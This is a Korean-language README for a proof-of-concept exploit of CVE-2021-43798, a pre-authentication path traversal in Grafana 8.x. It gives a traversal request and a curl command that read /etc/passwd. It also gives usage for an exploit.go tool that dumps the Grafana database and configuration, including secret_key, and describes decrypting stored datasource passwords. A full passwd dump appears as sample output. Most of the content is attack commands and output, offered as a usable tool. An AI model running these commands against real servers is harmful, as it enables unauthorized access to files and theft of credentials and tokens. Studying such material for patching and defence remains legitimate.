
CVE-2021-43798 - Grafana 8.x 경로 탐색 (인증 전)
Grafana 8.x 경로 탐색 (사전 인증)
모든 크레딧은 j0v와 그의 트윗 https://twitter.com/j0v0x0/status/1466845212626542607 에 있습니다.
이것은 교육 목적으로만 제공됩니다. 귀하의 행동에 대해 책임을 지지 않습니다. 책임은 본인에게 있습니다.
선의로, 이 취약점이 공개되거나 패치가 제공될 때까지 이 PoC의 공개를 보류했습니다.
저는 j0v의 트윗에서 Grafana 경로 탐색 버그를 발견했다는 주장을 보았습니다. 호기심에 Grafana 소스 코드를 살펴보기 시작했습니다. 트윗에는 사전 인증 버그라고 언급되어 있었습니다. Grafana에는 몇 개의 공개 API 엔드포인트만 있으며, 그 중 사용자로부터 파일 경로를 받는 엔드포인트는 하나뿐이었습니다.
Grafana에는 /public/plugins/:pluginId라는 공개 API 엔드포인트가 있으며, 이를 통해 플러그인의 자산을 볼 수 있습니다. 이는 유효한 :pluginId를 제공한 다음 img/logo.png와 같은 파일 경로를 지정하여 작동합니다. 그러나 Grafana는 사용자가 제공한 파일 경로를 적절히 검증하지 못하여 경로 탐색이 발생합니다.
액세스되는 디렉터리는 <grafana>/public/app/plugins/panel/<pluginId>입니다. 표준 Grafana 설치에서 Grafana 데이터 디렉터리는 /usr/share/grafana입니다. 따라서 8개의 디렉터리를 거슬러 올라가면 파일 시스템 루트 디렉터리에 도달할 수 있습니다.
HTTP 요청:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
참고: 브라우저에서는 작동하지 않습니다 (브라우저는 경로에서 ../를 자동으로 축소합니다)
curl에서 --path-as-is 인수를 사용하여 테스트할 수 있습니다:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
이 취약점을 사용하여 수행할 수 있는 몇 가지 공격입니다.
Grafana는 기본적으로 sqlite3 데이터베이스를 사용합니다. 이는 /var/lib/grafana/grafana.db에 저장됩니다. 이 데이터베이스를 덤프하기 위해 exploit.go 스크립트를 사용할 수 있습니다.
예시:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
그런 다음 이 데이터베이스를 읽어 사용자, 인증 토큰 및 데이터 소스를 얻을 수 있습니다.
Grafana는 설정을 <grafana>/conf/defaults.ini 파일에 저장합니다. 여기에는 sqlite3 대신 mysql을 사용하는 경우 secret_key, host, user, password와 같은 몇 가지 흥미로운 값이 있습니다.
예시:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
참고: https://grafana.com/docs/grafana/latest/administration/configuration/
Grafana는 defaults.ini 설정 파일의 secret_key를 사용하여 AES-256-CBC로 모든 데이터 소스 비밀번호를 암호화합니다. 위에 표시된 대로 이 설정 파일을 덤프한 다음 데이터베이스에서 값을 복호화할 수 있습니다.
참고: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key
Grafana는 세션 토큰을 auth_tokens 테이블에 저장합니다. 세션을 탈취할 수는 없었지만, 소스 코드를 읽으면 방법을 알아낼 수 있을 것입니다.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
참고: 다중 대상에서는 작동하지 않습니다.
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build